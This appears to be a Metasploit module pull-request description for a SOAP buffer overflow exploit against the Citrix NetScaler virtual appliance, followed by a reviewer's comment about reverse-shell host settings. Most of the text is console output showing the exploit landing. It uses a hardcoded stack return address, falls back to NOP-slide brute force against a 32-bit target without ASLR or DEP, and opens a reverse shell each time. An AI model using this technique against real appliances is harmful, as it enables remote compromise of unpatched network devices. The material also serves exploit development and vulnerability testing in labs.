Citrix Netscaler (Virtual Appliance) Buffer Overflow exploit

Recently this blog entry was published:

http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html

The Virtual Appliance for download in the Citrix homepage is vulnerable still, so ported the original code to a msf module. Maybe can be useful to someone.

The Virtual Appliance can be downloaded from: http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

The file I downloaded is: NSVPX-ESX-10.1-119.7_nc.zip

Its shasum:

```
$ shasum NSVPX-ESX-10.1-119.7_nc.zip
08db3f804a55f2f38c5c659f72e3ed474b44607c  NSVPX-ESX-10.1-119.7_nc.zip
```

Verification steps
-----------

- [ ] Download the virtual appliance
- [ ] Load on vmware
- [ ] Configure network for the virtual appliance
- [ ] Verify which the virtual appliance web interface is reachable (http://<appliance_ip>)
- [ ] Run the check method, verify the SOAP handler is detected:

```
msf exploit(citrix_netscaler_soap_bof) > check
[*] 172.16.158.252:80 - The target service is running, but could not be validated.
```

- [ ] Run the exploit method, the virtual appliance is a FreeBSD. The target apache runs in 32 bits without ASLR/DEP. So control can be transferred directly to the stack. I found using a hardcoded stack address works pretty reliable in a couple of deployments:

```
msf exploit(citrix_netscaler_soap_bof) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.252:80 - Sending soap request...
[*] 172.16.158.252 - Getting request...
[*] 172.16.158.252 - Sending 1024 bytes payload with ret 0xffffda94...
[*] Command shell session 1 opened (172.16.158.1:4444 -> 172.16.158.252:61624) at 2014-10-30 20:41:49 -0500
[*] Server stopped.

id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
^C
Abort session 1? [y/N]  y
```

Of course, since it is transferring control directly to the stack a nop slide plus brute force is used, in the module. I have tested brute force successfully too by disabling the preferred address:

```
msf exploit(citrix_netscaler_soap_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffec00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffeb00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffea00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe900...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe800...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe700...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe600...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe500...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe400...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe300...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe200...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe100...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffe000...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffdf00...
[*] 172.16.158.251:80 - Sending soap request...
[*] 172.16.158.251 - Getting request...
[*] 172.16.158.251 - Sending 1024 bytes payload with ret 0xffffde00...
[*] Command shell session 2 opened (172.16.158.1:4444 -> 172.16.158.251:54642) at 2014-10-30 20:37:17 -0500
[*] Server stopped.

id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
^C
Abort session 2? [y/N]  y

``` 
If I understand this exploit correctly, you are using SRVHOST as the client IP in the XML file, which is kind of like the "LHOST" option for a reverse shell payload, yeah? If yes, then yeah, "127.0.0.1" I think is actually sort of a common mistake ("0.0.0.0" and "localhost" are also pretty common too). I've already lost track how many times I've seen this, but every one awhile you can definitely see somebody on Security Street asking why their reverse shell doesn't work because they actually get the LHOST wrong.

But honestly, it doesn't really bother me if you don't check 127.0.0.1..... you've already explained this in the option's description.